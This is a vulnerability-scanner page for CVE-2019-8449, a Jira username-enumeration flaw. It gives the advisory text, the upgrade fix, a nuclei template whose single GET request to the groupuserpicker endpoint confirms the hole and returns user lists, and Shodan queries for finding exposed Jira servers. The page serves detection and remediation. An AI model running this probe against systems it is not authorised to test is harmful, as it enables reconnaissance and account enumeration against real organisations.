CVE-2019-8449· atlassian / jira· CWE-306
Jira <8.4.0 - Information Disclosure
mediumseverity
5.3CVSS score
85.7%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
Jira before 8.4.0 is susceptible to information disclosure. The /rest/api/latest/groupuserpicker resource can allow an attacker to enumerate usernames, and thereby potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
Impact
An attacker can exploit this vulnerability to gain access to sensitive information.
Fix
Upgrade Jira to version 8.4.0 or later to fix the information disclosure vulnerability.
How to confirm it
Send: GET {{BaseURL}}/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true
Positive when: contains "{\"users\":{\"users\":" AND status 200Run it with nuclei: nuclei -id CVE-2019-8449 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2019-8449
info:
name: Jira <8.4.0 - Information Disclosure
author: harshbothra_
severity: medium
description: Jira before 8.4.0 is susceptible to information disclosure. The /rest/api/latest/groupuserpicker resource can allow an attacker to enumerate usernames, and thereby potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
impact: |
An attacker can exploit this vulnerability to gain access to sensitive information.
remediation: |
Upgrade Jira to version 8.4.0 or later to fix the information disclosure vulnerability.
reference:
- https://www.doyler.net/security-not-included/more-jira-enumeration
- https://jira.atlassian.com/browse/JRASERVER-69796
- http://packetstormsecurity.com/files/156172/Jira-8.3.4-Information-Disclosure.html
- https://github.com/SexyBeast233/SecBooks
- https://github.com/StarCrossPortal/scalpel
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2019-8449
cwe-id: CWE-306
epss-score: 0.85739
epss-percentile: 0.99728
cpe: cpe:2.3:a:atlassian:jira:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: atlassian
product: jira
shodan-query:
- http.component:"Atlassian Jira"
- http.component:"atlassian jira"
- http.component:"atlassian confluence"
- cpe:"cpe:2.3:a:atlassian:jira"
tags: cve,cve2019,atlassian,jira,disclosure,packetstorm,vuln
http:
- method: GET
path:
- '{{BaseURL}}/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{"users":{"users":'
- type: status
status:
- 200References
- https://www.doyler.net/security-not-included/more-jira-enumeration
- https://jira.atlassian.com/browse/JRASERVER-69796
- http://packetstormsecurity.com/files/156172/Jira-8.3.4-Information-Disclosure.html
- https://github.com/SexyBeast233/SecBooks
- https://github.com/StarCrossPortal/scalpel
Use this check only on systems you are authorised to test. Where the data comes from